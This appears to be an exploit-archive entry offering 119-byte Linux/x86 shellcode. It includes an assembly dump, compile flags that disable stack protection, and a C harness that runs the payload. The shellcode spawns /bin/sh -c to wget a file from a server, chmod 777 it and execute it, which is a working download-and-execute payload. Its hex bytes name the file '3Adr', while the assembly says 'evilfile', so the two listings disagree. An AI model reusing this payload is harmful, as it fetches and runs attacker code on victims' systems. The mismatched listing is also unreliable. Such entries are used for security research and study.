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73 lines
No EOL
2 KiB
C
73 lines
No EOL
2 KiB
C
/*
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# Exploit Title: Linux/x86 wget chmod execute over execve /bin/sh -c shellcode (119 bytes)
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# Google Dork: None
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# Date: 08.12.2018
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# Exploit Author: strider
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# Vendor Homepage: None
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# Software Link: None
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# Tested on: Debian 9 Stretch i386/ Kali Linux i386
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# CVE : None
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# Shellcode Length: 119
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------------------------------[Description]---------------------------------
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This shellcode use execve syscall to run /bin/sh -c which executes wget to download a file from a your server.
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After download it executes chmod 777 to your downloaded file and execute your file
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-----------------------------[Shellcode Dump]---------------------------------
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section .text
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global _start
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_start:
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xor eax, eax
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push eax
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jmp short _execline
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_exec:
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pop ecx
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mov edi, ecx
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xor ecx, ecx
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push eax
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push 0x68732f6e
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push 0x69622f2f
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mov ebx, esp
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push eax
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push word 0x632d
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mov esi , esp
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push eax
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push edi
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push esi
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push ebx
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mov ecx, esp
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mov al, 11
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int 0x80
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_execline:
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call _exec
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line db "/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile", 0x0a
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-----------------------------[Compile]---------------------------------------------
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gcc -m32 -fno-stack-protector -z execstack -o tester tester.c
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-----------------------------[C-Code]-----------------------------
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char shellcode[] = "\x31\xc0\x50\xeb\x23\x59\x89\xcf\x31\xc9\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x63\x89\xe6\x50\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x77\x67\x65\x74\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x38\x30\x38\x30\x2f\x33\x41\x64\x72\x20\x26\x26\x20\x2f\x62\x69\x6e\x2f\x63\x68\x6d\x6f\x64\x20\x37\x37\x37\x20\x33\x41\x64\x72\x20\x26\x26\x20\x2e\x2f\x33\x41\x64\x72\x0a";
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void main()
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{
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printf("Shellcode Length: %d\n", strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |